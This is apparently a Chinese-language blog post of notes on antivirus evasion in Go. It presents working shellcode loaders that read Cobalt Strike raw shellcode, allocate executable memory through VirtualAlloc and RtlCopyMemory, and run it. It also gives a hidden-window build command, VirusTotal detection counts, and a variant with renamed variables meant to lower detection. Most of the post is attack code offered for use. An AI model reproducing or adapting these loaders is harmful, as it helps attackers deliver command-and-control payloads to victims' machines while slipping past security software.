go免杀笔记
This_is_Y Lv6

参考:
https://geektutu.com/post/quick-golang.html
https://www.freebuf.com/sectool/328982.html
https://github.com/awsaaaq/GoBP

1

go读取shellcode,这里用的cs的x64 raw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main

import (
"fmt"
"io/ioutil"
)

func read(file string) []byte {
data, _ := ioutil.ReadFile(file)
return data
}
func main() {
shellcode := read("./64.bin")
fmt.Println(shellcode)
}
// [252 72 131 228 13 212 67 250 25 171 144 13 92 …………………… 195 232 127 253 255 255 49 55 50 46 50 52 46 49 57 52 46 49 50 49 0 25 105 160 141 160 141]

shellcode loader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main

import (
"io/ioutil"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func read(file string) []byte {
data, _ := ioutil.ReadFile(file)
return data
}

func main() {
shellcode := read("./64.bin")

// go loader
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}

更多人用的都是下面这样的loader,不过我不知道这两个if判断有什么实用性,就把它们给删了

1
2
3
4
5
6
7
8
9
10
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(5 * time.Second)
syscall.Syscall(addr, 0, 0, 0, 0)

比较意外的是,这样子直接编译,2mb大小,免杀效果还不错
编译

  • go build -ldflags=”-H windowsgui” .\loader.go

7/70 https://www.virustotal.com/gui/file/4aa8427eb6f6d8bd1308832081fef2012823c6e1dc464361b24babb7eed5fb91?nocache=1

2

改了一些变量名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package main


import (
"io/ioutil"
some "syscall"
"unsafe"
)

const (
ZXC = 0x1000
VB = 0x2000
NM = 0x40
)

var (
qwer = "kernel32.dll"
tyui = "ntdll.dll"
op = "VirtualAlloc"
asdf = "RtlCopyMemory"
kl32 = some.MustLoadDLL(qwer)
ntdll = some.MustLoadDLL(tyui)
opp = kl32.MustFindProc(op)
ghjk = ntdll.MustFindProc(asdf)
)

func read(file string) []byte {
data, _ := ioutil.ReadFile(file)
return data
}

func main() {
shellcode := read("./64.bin")

// go loader
addr, _, _ := opp.Call(0, uintptr(len(shellcode)), ZXC|VB, NM)

_, _, _ = ghjk.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

some.Syscall(addr, 0, 0, 0, 0)
}

// 17/70 https://www.virustotal.com/gui/file/453e468b4ea8d9fa64a8b18dd5120567fa962393424d3ca69a70c90f2bcbc124?nocache=1

不像python那样了,效果反而更差了

 Comments